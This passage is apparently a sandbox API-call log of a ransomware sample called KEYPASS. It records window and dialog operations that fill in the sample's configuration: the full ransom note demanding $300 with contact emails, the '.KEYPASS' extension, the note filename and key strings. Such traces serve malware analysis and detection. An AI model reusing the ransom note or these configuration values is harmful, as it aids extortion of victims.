returned 1957584320 [0227.972] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x0 [0227.972] SetPropW (hWnd=0x90208, lpString="AfxOldWndProc423", hData=0x74ae5dc0) returned 1 [0227.973] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0227.973] GlobalAddAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0227.973] SetWindowLongW (hWnd=0x90208, nIndex=-4, dwNewLong=18156417) returned 2007026688 [0227.973] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x90208, lParam=0xbde790) returned 0x0 [0227.973] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0227.973] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x81, wParam=0x0, lParam=0xbde7e0) returned 0x1 [0227.973] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0227.974] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x83, wParam=0x0, lParam=0xbde7cc) returned 0x0 [0227.974] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0227.974] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x1, wParam=0x0, lParam=0xbde7e0) returned 0x0 [0227.974] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0227.974] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0227.974] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0227.974] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0227.974] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0227.974] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x287, wParam=0x21, lParam=0x0) returned 0x0 [0227.975] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x83, wParam=0x0, lParam=0xbde7cc) returned 0x0 [0229.024] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x1, wParam=0x0, lParam=0xbde7e0) returned 0x0 [0229.024] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x5, wParam=0x0, lParam=0x15501be) returned 0x0 [0229.024] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x3, wParam=0x0, lParam=0x1f0008) returned 0x0 [0229.169] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x30, wParam=0x30a06a7, lParam=0x0) returned 0x0 [0229.169] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x60086, lParam=0xbde790) returned 0x0 [0229.722] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0x60086, lParam=0x3) returned 0x2 [0229.722] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0229.722] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0229.722] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0229.723] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x20160, lParam=0xbde790) returned 0x0 [0230.753] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0x20160, lParam=0x3) returned 0x2 [0230.753] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0230.790] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x3023c, lParam=0xbdde90) returned 0x0 [0231.816] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x8003a, lParam=0xbddd70) returned 0x0 [0231.819] CallNextHookEx (hhk=0x1000e3, nCode=4, wParam=0x8003a, lParam=0x0) returned 0x0 [0234.718] GetClassLongW (hWnd=0x30020, nIndex=-32) returned 0xc0b6 [0234.718] GetWindowLongW (hWnd=0x30020, nIndex=-4) returned 1953793200 [0234.719] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x0 [0234.719] SetPropW (hWnd=0x30020, lpString="AfxOldWndProc423", hData=0x747484b0) returned 1 [0234.719] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.719] GlobalAddAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0234.719] SetWindowLongW (hWnd=0x30020, nIndex=-4, dwNewLong=18156417) returned 1953793200 [0234.719] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x30020, lParam=0xbddee0) returned 0x0 [0234.719] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.719] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x81, wParam=0x0, lParam=0xbddf30) returned 0x1 [0234.719] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.719] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x83, wParam=0x0, lParam=0xbddf1c) returned 0x0 [0234.720] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.720] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x1, wParam=0x0, lParam=0xbddf30) returned 0x0 [0234.720] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.720] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x7c, wParam=0xffffffec, lParam=0xbddb4c) returned 0x0 [0234.721] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.721] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x7d, wParam=0xffffffec, lParam=0xbddb4c) returned 0x0 [0234.722] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.722] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0234.722] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.723] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0234.723] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.723] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x432, wParam=0x0, lParam=0xbde3fc) returned 0x1 [0234.723] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.723] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x30, wParam=0x50a075a, lParam=0x0) returned 0x1 [0234.724] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.724] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x434, wParam=0x0, lParam=0xbde1fc) returned 0x0 [0234.724] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0xf020a, lParam=0xbddec8) returned 0x0 [0234.730] CallNextHookEx (hhk=0x1000e3, nCode=4, wParam=0xf020a, lParam=0x0) returned 0x0 [0234.731] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0234.731] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x30, wParam=0x30a06a7, lParam=0x0) returned 0x1 [0235.101] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0xc003e, lParam=0xbde790) returned 0x0 [0235.102] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0xc003e, lParam=0x3) returned 0x2 [0235.102] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.103] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x9003a, lParam=0xbde790) returned 0x0 [0235.105] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0x9003a, lParam=0x3) returned 0x2 [0235.105] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.106] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0xc0028, lParam=0xbde790) returned 0x0 [0235.190] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x20212, lParam=0xbde790) returned 0x0 [0235.206] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0x20212, lParam=0x3) returned 0x2 [0235.206] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.207] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x20238, lParam=0xbde790) returned 0x0 [0235.208] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0x20238, lParam=0x3) returned 0x2 [0235.208] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.209] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x2023a, lParam=0xbde790) returned 0x0 [0235.211] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0x2023a, lParam=0x3) returned 0x2 [0235.211] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.212] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x2022c, lParam=0xbde790) returned 0x0 [0235.214] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0x2022c, lParam=0x3) returned 0x2 [0235.214] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.215] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x2022e, lParam=0xbde790) returned 0x0 [0235.217] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x55, wParam=0x2022e, lParam=0x3) returned 0x2 [0235.217] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0235.218] GetWindowRect (in: hWnd=0x30098, lpRect=0xbde9ac | out: lpRect=0xbde9ac) returned 1 [0235.218] GetWindowLongW (hWnd=0x30098, nIndex=-16) returned -2066874292 [0235.218] FindResourceW (hModule=0x1110000, lpName=0x66, lpType=0xf0) returned 0x0 [0235.218] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x110, wParam=0x60086, lParam=0x0) returned 0x1 [0235.218] FindResourceW (hModule=0x1110000, lpName=0x66, lpType=0xf0) returned 0x0 [0235.218] GetTopWindow (hWnd=0x30098) returned 0x60086 [0235.218] SendMessageW (hWnd=0x60086, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0x60086, uCmd=0x2) returned 0x20160 [0235.218] SendMessageW (hWnd=0x20160, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0x20160, uCmd=0x2) returned 0xc003e [0235.218] SendMessageW (hWnd=0xc003e, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0xc003e, uCmd=0x2) returned 0x9003a [0235.218] SendMessageW (hWnd=0x9003a, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0x9003a, uCmd=0x2) returned 0xc0028 [0235.218] SendMessageW (hWnd=0xc0028, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0xc0028, uCmd=0x2) returned 0x20212 [0235.218] SendMessageW (hWnd=0x20212, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0x20212, uCmd=0x2) returned 0x20238 [0235.218] SendMessageW (hWnd=0x20238, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0x20238, uCmd=0x2) returned 0x2023a [0235.218] SendMessageW (hWnd=0x2023a, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0x2023a, uCmd=0x2) returned 0x2022c [0235.218] SendMessageW (hWnd=0x2022c, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0x2022c, uCmd=0x2) returned 0x2022e [0235.218] SendMessageW (hWnd=0x2022e, Msg=0x364, wParam=0x0, lParam=0x0) returned 0x0 [0235.218] GetWindow (hWnd=0x2022e, uCmd=0x2) returned 0x0 [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1000) returned 0x20160 [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1000) returned 0x20160 [0235.219] GetParent (hWnd=0x20160) returned 0x30098 [0235.219] SetWindowLongW (hWnd=0x20160, nIndex=-4, dwNewLong=18140506) returned 1953790656 [0235.219] GetParent (hWnd=0x20160) returned 0x30098 [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1001) returned 0xc003e [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1001) returned 0xc003e [0235.219] GetParent (hWnd=0xc003e) returned 0x30098 [0235.219] SetWindowLongW (hWnd=0xc003e, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.219] GetParent (hWnd=0xc003e) returned 0x30098 [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1002) returned 0x9003a [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1002) returned 0x9003a [0235.219] GetParent (hWnd=0x9003a) returned 0x30098 [0235.219] SetWindowLongW (hWnd=0x9003a, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.219] GetParent (hWnd=0x9003a) returned 0x30098 [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1003) returned 0xc0028 [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1003) returned 0xc0028 [0235.219] GetParent (hWnd=0xc0028) returned 0x30098 [0235.219] SetWindowLongW (hWnd=0xc0028, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.219] GetParent (hWnd=0xc0028) returned 0x30098 [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1004) returned 0x20212 [0235.219] GetDlgItem (hDlg=0x30098, nIDDlgItem=1004) returned 0x20212 [0235.219] GetParent (hWnd=0x20212) returned 0x30098 [0235.219] SetWindowLongW (hWnd=0x20212, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.220] GetParent (hWnd=0x20212) returned 0x30098 [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=1) returned 0x60086 [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=1) returned 0x60086 [0235.220] GetParent (hWnd=0x60086) returned 0x30098 [0235.220] SetWindowLongW (hWnd=0x60086, nIndex=-4, dwNewLong=18140506) returned 1953817280 [0235.220] GetParent (hWnd=0x60086) returned 0x30098 [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=1006) returned 0x2023a [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=1006) returned 0x2023a [0235.220] GetParent (hWnd=0x2023a) returned 0x30098 [0235.220] SetWindowLongW (hWnd=0x2023a, nIndex=-4, dwNewLong=18140506) returned 1953817280 [0235.220] GetParent (hWnd=0x2023a) returned 0x30098 [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=1007) returned 0x2022c [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=1007) returned 0x2022c [0235.220] GetParent (hWnd=0x2022c) returned 0x30098 [0235.220] SetWindowLongW (hWnd=0x2022c, nIndex=-4, dwNewLong=18140506) returned 1953817280 [0235.220] GetParent (hWnd=0x2022c) returned 0x30098 [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=1008) returned 0x2022e [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=1008) returned 0x2022e [0235.220] GetParent (hWnd=0x2022e) returned 0x30098 [0235.220] SetWindowLongW (hWnd=0x2022e, nIndex=-4, dwNewLong=18140506) returned 1953813008 [0235.220] GetParent (hWnd=0x2022e) returned 0x30098 [0235.220] GetDlgItem (hDlg=0x30098, nIDDlgItem=57670) returned 0x0 [0235.220] SendMessageW (hWnd=0x20160, Msg=0x1037, wParam=0x0, lParam=0x0) returned 0x0 [0235.220] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x20160, Msg=0x1037, wParam=0x0, lParam=0x0) returned 0x0 [0235.221] SendMessageW (hWnd=0x20160, Msg=0x1036, wParam=0x0, lParam=0x20) returned 0x0 [0235.221] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x20160, Msg=0x1036, wParam=0x0, lParam=0x20) returned 0x0 [0235.221] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0235.221] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x41c, wParam=0x0, lParam=0x0) returned 0x0 [0235.221] GetClientRect (in: hWnd=0x20160, lpRect=0xbde4ec | out: lpRect=0xbde4ec) returned 1 [0235.222] SendMessageW (hWnd=0x20160, Msg=0x1061, wParam=0x0, lParam=0xbde46c) returned 0x0 [0235.222] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x20160, Msg=0x1061, wParam=0x0, lParam=0xbde46c) returned 0x0 [0235.222] SendMessageW (hWnd=0xc003e, Msg=0x1501, wParam=0x0, lParam=0x1352db4) returned 0x1 [0235.222] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc003e, Msg=0x1501, wParam=0x0, lParam=0x1352db4) returned 0x1 [0235.222] SendMessageW (hWnd=0x9003a, Msg=0x1501, wParam=0x0, lParam=0x1352dbc) returned 0x1 [0235.222] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x9003a, Msg=0x1501, wParam=0x0, lParam=0x1352dbc) returned 0x1 [0235.222] SendMessageW (hWnd=0x20212, Msg=0x1501, wParam=0x0, lParam=0x1352dd0) returned 0x1 [0235.222] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20212, Msg=0x1501, wParam=0x0, lParam=0x1352dd0) returned 0x1 [0235.222] IsWindow (hWnd=0x60086) returned 1 [0235.222] SetWindowTextW (hWnd=0x60086, lpString="Start") returned 1 [0235.222] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0xc, wParam=0x0, lParam=0x1352d94) returned 0x1 [0235.223] IsWindow (hWnd=0x2023a) returned 1 [0235.223] SetWindowTextW (hWnd=0x2023a, lpString="rdpclip.exe") returned 1 [0235.223] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x2023a, Msg=0xc, wParam=0x0, lParam=0x1353174) returned 0x1 [0235.223] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1353190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0235.223] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1353780, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0235.223] IsWindow (hWnd=0xc003e) returned 1 [0235.223] SetWindowTextW (hWnd=0xc003e, lpString="x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA") returned 1 [0235.223] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc003e, Msg=0xc, wParam=0x0, lParam=0xc91338) returned 0x1 [0235.223] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x40003e9, lParam=0xc003e) returned 0x0 [0235.223] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x30003e9, lParam=0xc003e) returned 0x0 [0235.223] IsWindow (hWnd=0x9003a) returned 1 [0235.223] SetWindowTextW (hWnd=0x9003a, lpString="!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.223] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x9003a, Msg=0xc, wParam=0x0, lParam=0xc8d6e8) returned 0x1 [0235.224] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x40003ea, lParam=0x9003a) returned 0x0 [0235.224] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x30003ea, lParam=0x9003a) returned 0x0 [0235.224] IsWindow (hWnd=0xc0028) returned 1 [0235.224] SetWindowTextW (hWnd=0xc0028, lpString="Attention! \r\nAll your files, documents, photos, databases and other important files are encrypted and have the extension: .KEYPASS\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail keypass@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $300. \r\nThis price avaliable if you contact us first 72 hours.\r\n\r\n\r\n\r\nE-mail address to contact us:\r\nkeypass@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nkeypass@india.com\r\n\r\nYour personal id:") returned 1 [0235.224] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc0028, Msg=0xc, wParam=0x0, lParam=0xca5230) returned 0x1 [0235.239] IsWindow (hWnd=0x2022e) returned 1 [0235.239] SetWindowTextW (hWnd=0x2022e, lpString="6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0") returned 1 [0235.239] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x2022e, Msg=0xc, wParam=0x0, lParam=0xc86df0) returned 0x1 [0235.239] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x40003f0, lParam=0x2022e) returned 0x0 [0235.239] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x30003f0, lParam=0x2022e) returned 0x0 [0235.239] IsWindow (hWnd=0x20212) returned 1 [0235.239] SetWindowTextW (hWnd=0x20212, lpString=".KEYPASS") returned 1 [0235.239] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20212, Msg=0xc, wParam=0x0, lParam=0xc84e80) returned 0x1 [0235.240] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x40003ec, lParam=0x20212) returned 0x0 [0235.240] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x30003ec, lParam=0x20212) returned 0x0 [0235.240] IsWindow (hWnd=0x30098) returned 1 [0235.240] SetWindowTextW (hWnd=0x30098, lpString="Ddv16hjkiMxm7P (admin)") returned 1 [0235.240] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0xc, wParam=0x0, lParam=0x1354958) returned 0x1 [0235.240] GetWindowLongW (hWnd=0x30098, nIndex=-16) returned -2066874292 [0235.240] ShowWindow (hWnd=0x30098, nCmdShow=0) returned 0 [0235.240] UpdateWindow (hWnd=0x30098) returned 1 [0235.240] SetTimer (hWnd=0x30098, nIDEvent=0x1, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x1 [0235.240] SendMessageW (hWnd=0x2022c, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0235.240] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x2022c, Msg=0xf0, wParam=0x0, lParam=0x0) returned 0x0 [0235.240] GetWindowTextLengthW (hWnd=0xc003e) returned 40 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc003e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28 [0235.241] GetWindowTextW (in: hWnd=0xc003e, lpString=0xca62c8, nMaxCount=41 | out: lpString="x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA") returned 40 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc003e, Msg=0xd, wParam=0x29, lParam=0xca62c8) returned 0x28 [0235.241] GetWindowTextLengthW (hWnd=0x9003a) returned 33 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x9003a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x21 [0235.241] GetWindowTextW (in: hWnd=0x9003a, lpString=0xc8d688, nMaxCount=34 | out: lpString="!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 33 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x9003a, Msg=0xd, wParam=0x22, lParam=0xc8d688) returned 0x21 [0235.241] GetWindowTextLengthW (hWnd=0xc0028) returned 912 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc0028, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x390 [0235.241] GetWindowTextW (in: hWnd=0xc0028, lpString=0xca6338, nMaxCount=913 | out: lpString="Attention! \r\nAll your files, documents, photos, databases and other important files are encrypted and have the extension: .KEYPASS\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail keypass@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $300. \r\nThis price avaliable if you contact us first 72 hours.\r\n\r\n\r\n\r\nE-mail address to contact us:\r\nkeypass@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nkeypass@india.com\r\n\r\nYour personal id:") returned 912 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc0028, Msg=0xd, wParam=0x391, lParam=0xca6338) returned 0x390 [0235.241] GetWindowTextLengthW (hWnd=0x2022e) returned 40 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x2022e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28 [0235.241] GetWindowTextW (in: hWnd=0x2022e, lpString=0xca6a78, nMaxCount=41 | out: lpString="6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0") returned 40 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x2022e, Msg=0xd, wParam=0x29, lParam=0xca6a78) returned 0x28 [0235.241] GetWindowTextLengthW (hWnd=0x20212) returned 8 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20212, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0235.241] GetWindowTextW (in: hWnd=0x20212, lpString=0xc84dc0, nMaxCount=9 | out: lpString=".KEYPASS") returned 8 [0235.241] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20212, Msg=0xd, wParam=0x9, lParam=0xc84dc0) returned 0x8 [0235.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA", cchWideChar=-1, lpMultiByteStr=0xca6ae8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA", lpUsedDefaultChar=0x0) returned 41 [0235.242] SetLastError (dwErrCode=0x0) [0235.242] GetLastError () returned 0x0 [0235.242] SetLastError (dwErrCode=0x0) [0235.242] GetLastError () returned 0x0 [0235.242] SetLastError (dwErrCode=0x0) [0235.242] GetLastError () returned 0x0 [0235.242] SetLastError (dwErrCode=0x0) [0235.242] GetLastError () returned 0x0 [0235.242] SetLastError (dwErrCode=0x0) [0235.242] GetLastError () returned 0x0 [0235.242] SetLastError (dwErrCode=0x0) [0235.242] IsWindow (hWnd=0xc003e) returned 1 [0235.242] SetWindowTextW (hWnd=0xc003e, lpString="*************************************KVA") returned 1 [0235.243] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc003e, Msg=0xc, wParam=0x0, lParam=0xca62c8) returned 0x1 [0235.243] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x40003e9, lParam=0xc003e) returned 0x0 [0235.243] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x111, wParam=0x30003e9, lParam=0xc003e) returned 0x0 [0235.243] 